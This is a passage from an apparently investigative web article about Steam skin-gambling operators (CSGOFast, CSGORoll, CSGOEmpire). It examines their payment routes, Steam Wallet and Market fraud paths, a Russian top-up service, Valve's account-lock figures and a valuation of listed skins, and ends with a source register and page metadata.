never with the operator’s legal entity, and no dispute through that recipient restores the severed settlement. The purchase and the loss sit with different businesses by arrangement; each should account for the part it controls, and the operator remains the party that imposed the hold.\n\nPAYPAL & MERCHANT APPROVAL\nA payment logo is not an approval record.\n\nPayPal’s gambling rules require merchant approval and permitted jurisdictions, and address relevant intermediary activity too. A gift-card listing or a PayPal option at a marketplace does not disclose the operator’s own merchant approval or settlement agreement. [K15]\n\nIdentify the checkout recipient, legal seller, merchant arrangement and redemption chain. Follow the same payment into the operator’s credited balance and its later withdrawal decision. Each business should account for the part it controls.\n\nThe outgoing payment deserves scrutiny too.\n\nA bank or exchange can assess gambling-related funds, unusual patterns and counterparty risk under its own AML obligations. FATF’s approach is risk-based: source, destination, activity and context matter. A platform’s internal verification badge cannot establish how the recipient institution will classify a later transfer. [K25]\n\nThe reciprocal question remains: what independently verifiable records establish the operator’s identity, source of payments, regulated status and handling of customer data?\n\nTHE STEAM WALLET / FUNDING AND PLAYER IDENTITY\nMoney can arrive without the player’s own card.\n\nA TF2 key is a useful example of the connection: the official Mann Co. Supply Crate Key listing allows trading and Market sale; Market proceeds credit Wallet. The external payment and the Steam balance are separate steps.\n\nAGE / THE MISSING LINK\nThe payer and player can differ.\n\nDigital gifts, existing retail cards and eligible item-sale proceeds separate the original funding event from the person spending the balance. The age check must be identified at the paid outcome.\n\n2026 / THE RETAIL CHANGE\nCard stocks are being run down.\n\nValve’s current Wallet FAQ ends retail restocking and expects stocks to be exhausted by the end of 2026. Existing cards remain redeemable, subject to local law. That changes new supply; it does not erase the historical route.\n\nSources: Valve’s TF2 key listing · Market FAQ · Wallet FAQ · Digital gifts\n\nTHE PAYMENT-ENFORCEMENT RECORD\n\nRestrictions require a reviewable reason. The expanded chapter places Valve’s chargeback rules beside August 2026 AmEx user reports and asks for the actual payment event, evidence and correction process. Read the policy and incident record ↗\n\nThe reported cases carry concrete elements: the card owners are real, the transactions were canceled or failed, and the accounts were locked anyway. The user is then asked to produce a bank statement for a charge that never completed — an impossible demand — while template support repeats the policy instead of correcting the classification. Read the full incident record ↗\n\nTHE PROTECTION GAP / MARKET, WALLET & GIFTS\nA protected trade does not cover every loss.\n\nValve’s fraud narrative needs a route-by-route account. The company administers the item record, the Market transaction and the Wallet ledger; the remedy changes between them.\n\nWhere the public remedy changes\nRoute\tPublished control or remedy\tRecord needed\nProtected CS2 item trade\tSeven-day reversal returns original items; the initiating account receives a 30-day trade and Market cooldown.\tTrade IDs, item lineage, reversal eligibility and outcome.\nCompleted Community Market transaction\tNo equivalent user cancellation or refund mechanism in the Market FAQ. The scam FAQ separately acknowledges that some transactions may be cancelled for fraud.\tListings, counterparties, authorisation evidence, intervention decision and fees.\nSteam Wallet → gift purchase\tMarket proceeds can fund gifts. Gifting and activation remain subject to product and regional restrictions.\tLinked Wallet entries, gift order, recipient, restriction checks and any refund.\n\nTrade Protection ↗ · Market FAQ ↗ · Steam scam FAQ ↗ · Gifts ↗ · Region restrictions ↗\n\nDOCUMENTED ABUSE MECHANISM\nValue can move through a mispriced listing.\n\nSteam’s own scam FAQ describes buying a low-value item at a high price as a way to transfer value, often with fraudulent funds. This makes the listing and Wallet trail relevant to theft investigations even when no protected skin trade is involved.\n\nDOCUMENTED SPENDING ROUTE\nWallet value can become a gift.\n\nThe Market FAQ allows proceeds to pay for Steam gifts. The policy connects Market value to an onward purchase. Follow the same balance through the gift order, receiving account and any later resale to account for the victim’s complete loss.\n\nFOLLOW ONE LOSS THROUGH THE WHOLE SYSTEM\n\nDoes the theft review connect the records?\n01 / INVENTORYUnauthorised item sale\n02 / MARKETAbnormal low-value purchase\n03 / WALLETValue spent on a game gift\n04 / OUTSIDE SALEOnward gift resale\n\nThe investigator identifies this combined route, including Russia-facing resale demand. Valve’s policies document the component transactions; a joined case requires their linked records. The enforcement question is whether the review follows the complete loss, including the final recipient and any restitution.\n\nTHE ACCOUNTABILITY QUESTION\n\nWhat happens when the loss stays inside Steam’s own market and payment system? Publish prevention, detection, reversal and restitution outcomes for this route, including which fees were retained or reversed. The number of account locks does not establish the value returned to victims.\n\nCASE TRAILThe investigator’s Russia-facing gift-resale lead\n\nThe investigator follows unauthorised skin sales, Wallet depletion through overpriced low-value listings and onward game-gift resale, including Russia-facing demand. Trace each step through the relevant account and transaction records: sale, balance, purchase, recipient and resale.\n\nValve holds the item, Market, Wallet and gift-order records needed to join the route. It should identify the receiving accounts, the applicable product-region rules, the fees and the final recovery decision. The investigation calls for that full transaction trail and a remedy that follows the value through the system.\n\nReviewed 10 October 2026. Steam FAQ versions and short finding summaries: inspect the policy record ↗.\n\nTHE RUSSIA-FACING FUNDING RECORD\nA named service. A traceable payment question.\n\nPRIMARY RECORD / MTS PAYMENT / 11 OCT 2026\n\nThe provider names the territories itself.\n\nMTS Payment publicly offers ruble-funded Steam top-ups for Russian accounts. Its FAQ explicitly discusses delayed or failed credits for accounts in Crimea, “LNR” and “DNR”—the provider’s own labels. The territorial question is present in the service’s published offer.\n\nThe linked card-transfer terms identify Murmansk Settlement Bank LLC as the settlement centre. Those terms apply to that card service; the page also offers other payment options.\n\nE92 · Official MTS service and FAQ ↗ · E93 · Linked card-transfer offer ↗\n\nTHE QUESTION FOR VALVE AND THE PAYMENT CHAIN\n\nWhich checks follow the value into Steam? Match the payer, service, settlement intermediaries and Wallet credit. Disclose the territorial rules applied at each step, who receives the revenue and how rejected or disputed payments are handled.\n\nSOURCE SCOPEWhat the public offer establishes\n\nThis is a documented commercial offer and provider statement; no test payment was made. The arrangement behind ruble-funded credits to Crimea, “LNR” and “DNR” accounts, the sanctions screening applied at each step and the turnover of successful credits are records held by Valve, MTS Payment and Murmansk Settlement Bank LLC: publish them.\n\nRead the original 11 October wording\n\nPreserved verbatim from the supplied 11 October 2026 edition. “Today” and “currently” refer to that edition; its original estimates and formulations remain available alongside the dated text above.\n\nPRIMARY RECORD / МТС ОПЛАТА / 11 OCT 2026\n\nThe linked card-transfer terms identify ООО «Мурманский расчетный Банк» as the settlement centre. Those terms apply to that card service; the page also offers other payment options.\n\nThis is a documented commercial offer and provider statement; no test payment was made. The arrangement behind ruble-funded credits to Crimea, “LNR” and “DNR” accounts, the sanctions screening applied at each step and the turnover of successful credits are records held by Valve, MTS Payment and ООО «Мурманский расчетный Банк»: publish them.\n\nOpen this passage in the complete original edition →\n03 / A BAN COUNT AND A BUSINESS\nOne million accounts. Which part of the system stopped?\n\nThe P2P trading model puts item delivery into participants’ Steam inventories. Account-level enforcement can therefore reach the people supplying those items while the operator’s ledger, funding routes and game rules sit elsewhere. Follow the loss in the main investigation ↗\n\nWHAT AN ACCOUNT RESTRICTION REACHESIllustrative P2P model\nTHE PARTICIPANT / ON STEAM\nThe item is here.\nTrade access available\n\nValve controls the account’s permission to deliver the inventory.\n\nTHE OPERATOR / A SEPARATE TARGET\nThe business is broader.\nInternal balances and pricing\nOutside money or crypto\nWebsite and settlement rules\n\nFollow enforcement into the operator’s ledger, funding routes and payment relationships. Record which capability was interrupted, for how long and whether the business continued through replacement accounts.\n\nBefore the illustrated restriction: the holder can supply an item through Steam. The outside service maintains its own ledger and settlement rules.\n\nThe restriction must be measured at both levels: the holder’s loss and the operator’s ability to continue. Inspect the economic record ↗ · The dated P2P evidence ↗\n\nVALVE / MARCH 2026 STATEMENT>1,000,000\nSteam accounts locked\n\nCombined categories: gambling, fraud and theft.\n\n[K31]UNIT: STEAM ACCOUNTS\nCSGOFAST / COUNTER TRANSCRIPTION SUPPLIED TO THE INVESTIGATION[K33]\nUsers10,712,351\nOnline\n1,272\nCases opened today\n22,362\nGames played today\n1,236\n\nThe labels and figures are preserved as supplied on 10 October 2026. The site’s definition, counting period, uniqueness and Steam-account linkage of “Users” were not disclosed by this counter.\n\nAn account total does not show which operators were stopped\n\nValve’s March 2026 statement reports over one million Steam accounts locked across gambling, fraud and theft. It does not divide the total between ordinary participants, automated accounts, custodial inventories and operators. The number therefore cannot establish who bore the losses or how many gambling businesses lost the ability to operate. [K31]\n\nCSGOFast’s separate 10.7-million “Users” counter does not fill that gap. Its composition, counting period and overlap with Steam’s locked accounts are undisclosed. The supplied counter above is an exhibit of operator continuation: on 10 October 2026 CSGOFast still displayed 10,712,351 “Users”, 22,362 cases opened that day and 1,236 games played that day, beside a live website and gift-card listings. The definitions, counting periods and overlap that would turn these totals into a measured account of what the locks stopped are Valve’s and CSGOFast’s to publish.\n\nCompare the displayed counter with the one-million benchmark\n\n10,712,351 ÷ 1,000,000 = 10.712351. CSGOFast’s displayed “Users” counter is 10.71 times the one-million benchmark. Valve’s published figure is more than one million locked Steam accounts across gambling, fraud and theft. On the review date, Fast still displayed 22,362 cases opened and 1,236 games played that day. The business continued operating beside the enforcement announcement. Valve holds the locked-account classification; CSGOFast holds its user definition and activity records. Publish both to show whose access was removed and which business capability was stopped.\n\nOne million is a number about players\n\nOne million is a number about players. The number of gambling operators Valve has publicly documented stopping — the figure the Washington State Gambling Commission asked for in 2016 and the New York Attorney General asks for now — is zero. Not small. Zero published. [K31] [K32]\n\nE19 · Valve’s October 2016 response to the Washington State Gambling Commission ↗\n\n2016\nThe enforcement announcement\n\nValve announced action against gambling sites’ use of Steam. [K32]\n\n2025\nCSGOFast in regulator records\n\nAustralian and Dutch actions identify the service under Gamusoft LP. [K17] [K24]\n\n2026\nThe brand remains online\n\nPublic service pages, policies and gift-card listings remain available on the review date. [K34] [K13]\n\nThis sequence gives Valve concrete checkpoints for an enforcement account: the named business, the announced restriction, the later operator and the technical route that returned. Explain what changed at each point and who was responsible for it.\n\nSTEAM ACCOUNT RESTRICTION\nInventory access\n\nItems and trade permissions\non the affected account\n\nOPERATOR DISRUPTION\nBusiness access\n\nPayment acceptance, ledger,\nwebsite and integrations\n\nA trapped user inventory is not a dismantled gambling business.\n\nAn immobilised Steam inventory is a concrete restriction on its holder. It does not itself remove a casino’s crypto receipts, shut down its website or erase its internal accounting. The business impact is measured through lost payment access, rejected settlement, disabled integrations and the resulting financial records — records the operators and their payment providers hold and should publish.\n\nFor a service associated with young audiences, the youth-protection question belongs in that review too: who can enter, how is age checked, and what action reaches the operator rather than simply locking another participant’s inventory? ACMA’s CSGORoll finding explicitly identifies the youth-market concern. [K16]\n\nTHE TEST OF ENFORCEMENT\n\nCount the operators that lost the ability to do business. Then disclose which users lost access to items, why, and what review or recovery was available. Those outcomes explain more than an undifferentiated account total.\n\nTHE DISPLAYED COUNTS / 10 OCTOBER 2026 SNAPSHOT\nThe operator’s counter is 10.71 times the one-million benchmark.\n10,712,351 ÷ 1,000,000 = 10.712351\n\nCSGOFast displayed 10,712,351 “Users” on 10 October 2026. Valve’s public response reports more than one million locked accounts across gambling, fraud and theft. The exact one-million benchmark gives a ratio of 10.712351. These are the two published counters being compared; the ratio does not measure the overlap between their populations.\n\nValve holds the classification of the locked accounts and CSGOFast holds the definition of “Users” — publish both. The operator’s continued business, its displayed scale and its daily activity remain part of the enforcement record.\n\nCounter snapshot and Valve’s statement →\nRead the original 11 October wording\n\nPreserved verbatim from the supplied 11 October 2026 edition. “Today” and “currently” refer to that edition; its original estimates and formulations remain available alongside the dated text above.\n\nCSGOFast’s separate 10.7-million “Users” counter does not fill that gap. Its composition, counting period and overlap with Steam’s locked accounts are undisclosed. The supplied counter remains below as an exhibit of operator continuation: on 10 October 2026 CSGOFast still displayed 10,712,351 “Users”, 22,362 cases opened that day and 1,236 games played that day, beside a live website and gift-card listings. The definitions, counting periods and overlap that would turn these totals into a measured account of what the locks stopped are Valve’s and CSGOFast’s to publish.\n\n10,712,351 − 1,000,000 = 9,712,351. Even if every account Valve reports locking had been a CSGOFast user, the operator’s own displayed user base would still exceed the entire lock total more than tenfold, with 22,362 cases opened and 1,236 games played on the review date. That is the operator-continuation reading of the two counters: Valve holds the classification of the locked accounts and CSGOFast holds the definition of “Users” — publish both, and the remainder can be measured.\n\nOpen this passage in the complete original edition →\nAUTHOR’S COLLECTED INVENTORY / THREE PLATFORMS\nThe skins carry a price. The inventory adds up.\n\nThe supplied snapshot puts a dollar measure beside the operators’ internal units. Each priced group is valued at its supplied minimum marketplace asking price, multiplied by the number of listings. Empire, Roll and Fast together account for 186,127 priced listings and $19,283,716.61 in this collection.\n\nMINIMUM-ASK VALUATION / COLLECTED LISTINGS$19,283,716.61\n\n22,169 platform–item groups · 186,127 listings · 3 platforms\n\nCSGOEmpire\n$7,741,028.63\nCSGORoll\n$5,964,749.78\nCSGOFast\n$5,577,938.20\nCollected listings valued at the supplied minimum asking prices\nPlatform\tItem groups\tPriced listings\tTotal USD\nCSGOEmpire\t13,843\t120,323\t$7,741,028.63\nCSGORoll\t6,573\t56,590\t$5,964,749.78\nCSGOFast\t1,753\t9,214\t$5,577,938.20\n\nThe raw Empire export contains 122,674 listings across 14,351 item names. The priced file covers 120,323 of those listings; all per-name counts match the raw export. The remaining 2,351 listings across 508 names remain in the raw file and a separate unpriced export. They contribute no invented zero-price valuation to the total.\n\nREAD THE MEASURE\n\nListings × Min Ask USD = Total USD. These are the supplied minimum-ask values for the collected inventory. The CSVs preserve the listing snapshot and its prices; this is an inventory valuation, with the operator’s balances and turnover covered elsewhere in this investigation.\n\nThe original Empire export retains every listing and its Coins value. The priced export supplies the USD comparison shown here. Both source files are available in full below; the manifest records the counts, calculation and original file hashes.\n\nRead every priced item.\n\nShowing the 25 largest item groups by supplied USD valuation.\n\nPriced inventory explorer\nPlatform\tItem name\tListings\tMin ask USD\tTotal USD\nCSGORoll\tAWP | Dragon Lore (Factory New)\t12\t$10,550.58\t$126,606.96\nCSGORoll\tAWP | Dragon Lore (Field-Tested)\t19\t$5,918.54\t$112,452.26\nCSGORoll\tM4A4 | Howl (Factory New)\t16\t$6,465.00\t$103,440.00\nCSGORoll\tAK-47 | Wild Lotus (Factory New)\t7\t$13,748.53\t$96,239.71\nCSGOFast\tAK-47 | Wild Lotus (Factory New)\t6\t$13,748.53\t$82,491.18\nCSGOFast\tSticker | Reason Gaming (Holo) | Katowice 2014\t1\t$74,540.83\t$74,540.83\nCSGOFast\tAK-47 | Vulcan (Minimal Wear)\t231\t$310.29\t$71,676.99\nCSGOFast\t★ Sport Gloves | Hedge Maze (Minimal Wear)\t11\t$6,378.91\t$70,168.01\nCSGOEmpire\tAK-47 | Wild Lotus (Factory New)\t5\t$13,748.53\t$68,742.65\nCSGOFast\tAK-47 | Hydroponic (Factory New)\t18\t$3,501.61\t$63,028.98\nCSGOEmpire\t★ Sport Gloves | Hedge Maze (Field-Tested)\t17\t$3,567.00\t$60,639.00\nCSGORoll\tM4A4 | Howl (Minimal Wear)\t13\t$4,654.79\t$60,512.27\nCSGOEmpire\t★ Sport Gloves | Hedge Maze (Factory New)\t2\t$28,176.43\t$56,352.86\nCSGORoll\tAWP | Gungnir (Factory New)\t5\t$11,031.52\t$55,157.60\nCSGOEmpire\tStatTrak™ M4A4 | Howl (Factory New)\t4\t$13,600.00\t$54,400.00\nCSGOFast\tStatTrak™ M4A4 | Howl (Factory New)\t4\t$13,600.00\t$54,400.00\nCSGOFast\tAWP | Dragon Lore (Factory New)\t5\t$10,550.58\t$52,752.90\nCSGORoll\tAK-47 | Hydroponic (Factory New)\t15\t$3,501.61\t$52,524.15\nCSGORoll\tM4A4 | Howl (Field-Tested)\t13\t$4,000.00\t$52,000.00\nCSGOFast\t★ Sport Gloves | Hedge Maze (Field-Tested)\t14\t$3,567.00\t$49,938.00\nCSGOEmpire\t★ Butterfly Knife | Fade (Factory New)\t26\t$1,910.00\t$49,660.00\nCSGORoll\tAWP | Dragon Lore (Minimal Wear)\t6\t$8,124.95\t$48,749.70\nCSGOEmpire\tAK-47 | Wild Lotus (Minimal Wear)\t5\t$9,640.51\t$48,202.55\nCSGORoll\tAWP | Gungnir (Minimal Wear)\t5\t$9,571.04\t$47,855.20\nCSGOFast\t★ Sport Gloves | Pandora's Box (Field-Tested)\t16\t$2,950.00\t$47,200.00\nEmpire · all 122,674 raw listings ↓All 22,169 priced groups ↓Empire · 2,351 unpriced listings ↓Calculation record & file hashes ↗\nREVIEW SCOPE\nTraceable records. Separate units.\n\nPublic payment descriptions, operator policies, listings and regulatory records were reviewed on 10 October 2026. No test purchase, deposit or withdrawal was made. The CSGOFast counter is explicitly identified as a user-supplied transcription. The two counters are preserved as supplied; the definitions, counting periods and overlap that would join them are undisclosed by Valve and CSGOFast and are demanded of both above.\n\nDates, entities and jurisdictions stay attached to each record. The source register identifies retrieval dates and historical announcements. The requested transaction record joins payment-provider approval, custody, balance release and the effect of the restriction on the user and operator.\n\nEvidence record ↗Identity & AML investigation ↗Valve’s response to New York ↗\nSOURCE REGISTER / PAYMENTS & ENFORCEMENT\nRead the underlying record.\n\nPrimary documents are linked below. K33 separately records the investigator-supplied counter transcription and the definitions CSGOFast has not disclosed.\n\nK02\nTerms of Service — effective 12 August 2026 ↗PRIMARY SOURCE · CSGORoll\n\nPublished entities, balances, verification powers and incorporated policy URL.\n\nK07\nResponsible Play Policy ↗PRIMARY SOURCE · CSGOFast\n\nOperator identity and the stated treatment of Credits and digital items.\n\nK10\nFAQ — balances, KYC and P2P settlement ↗PRIMARY SOURCE · CSGORoll\n\nCoins / Chips distinction and published platform trading rules.\n\nK11\nWhat Payment Methods do we Accept? ↗PRIMARY SOURCE · CSGORoll Help Center\n\nPayment-method list, dated 21 July 2026.\n\nK12\nCSGORoll 1 Coin Gift Card ↗PRIMARY SOURCE · Kinguin\n\nMarketplace listing and displayed seller name; no test purchase.\n\nK13\nCSGOFAST 10 Fast Coins Gift Card ↗PRIMARY SOURCE · Kinguin\n\nMarketplace listing and displayed seller name; no test purchase.\n\nK14\nPurchase Protection Program ↗PRIMARY SOURCE · PayPal US\n\nGift-card / gaming exclusions and separate card-issuer dispute provisions; US terms.\n\nK15\nWhat gambling activities does PayPal prohibit? ↗PRIMARY SOURCE · PayPal US\n\nMerchant approval, jurisdictional limits and intermediary-related rules.\n\nK16\nAction against CS:GO Roll / Feral Holdings — 17 May 2023 ↗PRIMARY SOURCE · ACMA\n\nAustralian enforcement announcement, including the role of skins and youth-market concern.\n\nK17\nInteractive gambling enforcement — April to June 2025 ↗PRIMARY SOURCE · ACMA\n\nQuarterly record lists CSGOFast / Gamusoft LP.\n\nK24\nGamusoft LP — order dated 16 April 2025 ↗PRIMARY SOURCE · Kansspelautoriteit\n\nOfficial Dutch order page, finality and enforcement follow-up.\n\nK25\nRisks of Gaming and Gambling ↗PRIMARY SOURCE · Financial Action Task Force\n\nFinancial-crime risks and risk indicators across digital gaming and gambling.\n\nK31\nAbout the New York Attorney General lawsuit — 11 March 2026 ↗PRIMARY SOURCE · Valve / Steam Support\n\nThe statement’s aggregate account-locking claim; also source E14 in the main investigation.\n\nK32\nIn-Game Item Trading Update — July 2016 ↗PRIMARY SOURCE · Valve / Steam\n\nValve’s announcement concerning gambling sites’ use of Steam; also source E08.\n\nK33\nCSGOFast counter transcription — supplied 10 October 2026 ↗USER-SUPPLIED OBSERVATION · Investigator-supplied observation\n\nInvestigator-supplied transcription of the operator’s public counter, supplied 10 October 2026. The counter’s definition, counting period, uniqueness and Steam-account linkage are undisclosed by CSGOFast.\n\nK34\nPublic homepage — retrieved 10 October 2026 ↗PRIMARY SOURCE · CSGOFast\n\nAvailability of the brand’s public service page and policies on the review date.\n\nK35\nLegal notice ↗PRIMARY SOURCE · Kinguin\n\nMarketplace role, seller responsibility and treatment of digital-key delivery.",
        "headings": [
          {
            "level": 1,
            "text": "No money? Follow the payment.",
            "anchor": "pd-money-and-enforcement--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#overview"
          },
          {
            "level": 2,
            "text": "The item goes directly. The decision goes through the platform.",
            "anchor": "pd-money-and-enforcement--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#control-map"
          },
          {
            "level": 3,
            "text": "The item arrives before the seller’s payout.",
            "anchor": "pd-money-and-enforcement--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement"
          },
          {
            "level": 2,
            "text": "Virtual units. Real payment relationships.",
            "anchor": "pd-money-and-enforcement--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#payments"
          },
          {
            "level": 3,
            "text": "Coins and Chips have different rules.",
            "anchor": "pd-money-and-enforcement--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#payments"
          },
          {
            "level": 3,
            "text": "“No real-world monetary value.”",
            "anchor": "pd-money-and-enforcement--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#payments"
          },
          {
            "level": 3,
            "text": "Redemption restrictions do not make the business money-free",
            "anchor": "pd-money-and-enforcement--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#payments"
          },
          {
            "level": 3,
            "text": "Purchase a code. Redeem platform credit.",
            "anchor": "pd-money-and-enforcement--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#route-voucher"
          },
          {
            "level": 3,
            "text": "The remedy becomes fragmented.",
            "anchor": "pd-money-and-enforcement--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#payments"
          },
          {
            "level": 3,
            "text": "A payment logo is not an approval record.",
            "anchor": "pd-money-and-enforcement--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#payments"
          },
          {
            "level": 3,
            "text": "The outgoing payment deserves scrutiny too.",
            "anchor": "pd-money-and-enforcement--heading-11",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#payments"
          },
          {
            "level": 2,
            "text": "Money can arrive without the player’s own card.",
            "anchor": "pd-money-and-enforcement--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#wallet-bridge"
          },
          {
            "level": 3,
            "text": "The payer and player can differ.",
            "anchor": "pd-money-and-enforcement--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#wallet-bridge"
          },
          {
            "level": 3,
            "text": "Card stocks are being run down.",
            "anchor": "pd-money-and-enforcement--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#wallet-bridge"
          },
          {
            "level": 2,
            "text": "A protected trade does not cover every loss.",
            "anchor": "pd-money-and-enforcement--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#market-losses"
          },
          {
            "level": 3,
            "text": "Value can move through a mispriced listing.",
            "anchor": "pd-money-and-enforcement--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#market-losses"
          },
          {
            "level": 3,
            "text": "Wallet value can become a gift.",
            "anchor": "pd-money-and-enforcement--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#market-losses"
          },
          {
            "level": 3,
            "text": "Does the theft review connect the records?",
            "anchor": "pd-money-and-enforcement--heading-18",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#joined-loss-route"
          },
          {
            "level": 2,
            "text": "A named service. A traceable payment question.",
            "anchor": "pd-money-and-enforcement--heading-19",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#regional-funding"
          },
          {
            "level": 3,
            "text": "The provider names the territories itself.",
            "anchor": "pd-money-and-enforcement--heading-20",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#regional-funding"
          },
          {
            "level": 2,
            "text": "One million accounts. Which part of the system stopped?",
            "anchor": "pd-money-and-enforcement--heading-21",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#account-counts"
          },
          {
            "level": 4,
            "text": "The item is here.",
            "anchor": "pd-money-and-enforcement--heading-22",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#restriction-model"
          },
          {
            "level": 4,
            "text": "The business is broader.",
            "anchor": "pd-money-and-enforcement--heading-23",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#restriction-model"
          },
          {
            "level": 3,
            "text": "Steam accounts locked",
            "anchor": "pd-money-and-enforcement--heading-24",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#account-counts"
          },
          {
            "level": 3,
            "text": "An account total does not show which operators were stopped",
            "anchor": "pd-money-and-enforcement--heading-25",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#account-counts"
          },
          {
            "level": 3,
            "text": "One million is a number about players",
            "anchor": "pd-money-and-enforcement--heading-26",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#operator-stop-count"
          },
          {
            "level": 3,
            "text": "The enforcement announcement",
            "anchor": "pd-money-and-enforcement--heading-27",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#account-counts"
          },
          {
            "level": 3,
            "text": "CSGOFast in regulator records",
            "anchor": "pd-money-and-enforcement--heading-28",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#account-counts"
          },
          {
            "level": 3,
            "text": "The brand remains online",
            "anchor": "pd-money-and-enforcement--heading-29",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#account-counts"
          },
          {
            "level": 3,
            "text": "Inventory access",
            "anchor": "pd-money-and-enforcement--heading-30",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#account-counts"
          },
          {
            "level": 3,
            "text": "Business access",
            "anchor": "pd-money-and-enforcement--heading-31",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#account-counts"
          },
          {
            "level": 3,
            "text": "A trapped user inventory is not a dismantled gambling business.",
            "anchor": "pd-money-and-enforcement--heading-32",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#account-counts"
          },
          {
            "level": 3,
            "text": "The operator’s counter is 10.71 times the one-million benchmark.",
            "anchor": "pd-money-and-enforcement--heading-33",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#counter-comparison"
          },
          {
            "level": 2,
            "text": "The skins carry a price. The inventory adds up.",
            "anchor": "pd-money-and-enforcement--heading-34",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#market-snapshot"
          },
          {
            "level": 3,
            "text": "Read every priced item.",
            "anchor": "pd-money-and-enforcement--heading-35",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#market-snapshot"
          },
          {
            "level": 2,
            "text": "Traceable records. Separate units.",
            "anchor": "pd-money-and-enforcement--heading-36",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#method"
          },
          {
            "level": 2,
            "text": "Read the underlying record.",
            "anchor": "pd-money-and-enforcement--heading-37",
            "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement#sources"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/money-and-enforcement"
          },
          {
            "label": "Who handles the identity files? ↗",
            "url": "https://phishdestroy.io/steam_dossier/aml-data.html"
          },
          {
            "label": "Original 11 October edition · complete text →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/money-and-enforcement.html"
          },
          {
            "label": "E63 · Valve’s 29 March 2018 trade-cooldown announcement ↗",
            "url": "https://blog.counter-strike.net/2018/03/20308/"
          },
          {
            "label": "E64 · CSGOEmpire FAQ — Steam bots and the transition to P2P ↗",
            "url": "https://csgoempire.com/faq"
          },
          {
            "label": "Inspect the two timelines ↗",
            "url": "https://phishdestroy.io/steam_dossier/trade-tracking.html#settlement"
          },
          {
            "label": "EXPANDED CASE / 11 OCTOBER 2026CSGOEmpire: the 4,500-Coin KYC discrepancy, gift codes and payout controlRead the three-operator comparison, payment-recipient map and wallet-custody record. ↗",
            "url": "https://phishdestroy.io/steam_dossier/aml-data.html#empire"
          },
          {
            "label": "Read the control analysis ↗",
            "url": "https://phishdestroy.io/steam_dossier/gambling-system.html#control"
          },
          {
            "label": "Valve’s TF2 key listing",
            "url": "https://steamcommunity.com/market/listings/440/Mann%20Co.%20Supply%20Crate%20Key"
          },
          {
            "label": "Market FAQ",
            "url": "https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "Wallet FAQ",
            "url": "https://help.steampowered.com/en/faqs/view/78E3-7431-1E88-AD59#retailers"
          },
          {
            "label": "Digital gifts",
            "url": "https://store.steampowered.com/digitalgiftcards/selectgiftcard"
          },
          {
            "label": "Read the policy and incident record ↗",
            "url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement.html#payment-enforcement"
          },
          {
            "label": "Read the full incident record ↗",
            "url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement.html#payment-enforcement"
          },
          {
            "label": "Trade Protection ↗",
            "url": "https://help.steampowered.com/en/faqs/view/365F-4BEE-2AE2-7BDD"
          },
          {
            "label": "Market FAQ ↗",
            "url": "https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "Steam scam FAQ ↗",
            "url": "https://help.steampowered.com/en/faqs/view/70E6-991B-233B-A37B"
          },
          {
            "label": "Gifts ↗",
            "url": "https://help.steampowered.com/en/faqs/view/2C02-3563-B72F-F117"
          },
          {
            "label": "Region restrictions ↗",
            "url": "https://help.steampowered.com/en/faqs/view/58D3-B80D-2943-3CC6"
          },
          {
            "label": "inspect the policy record ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/major-enforcement-2026-10-10/policy-record.json"
          },
          {
            "label": "E92 · Official MTS service and FAQ ↗",
            "url": "https://payment.mts.ru/cyber/steam"
          },
          {
            "label": "E93 · Linked card-transfer offer ↗",
            "url": "https://staticpayment.ssl.mts.ru/upload/%D0%9F%D1%83%D0%B1%D0%BB%D0%B8%D1%87%D0%BD%D0%B0%D1%8F_%D0%BE%D1%84%D0%B5%D1%80%D1%82%D0%B0_2026.pdf"
          },
          {
            "label": "Open this passage in the complete original edition →",
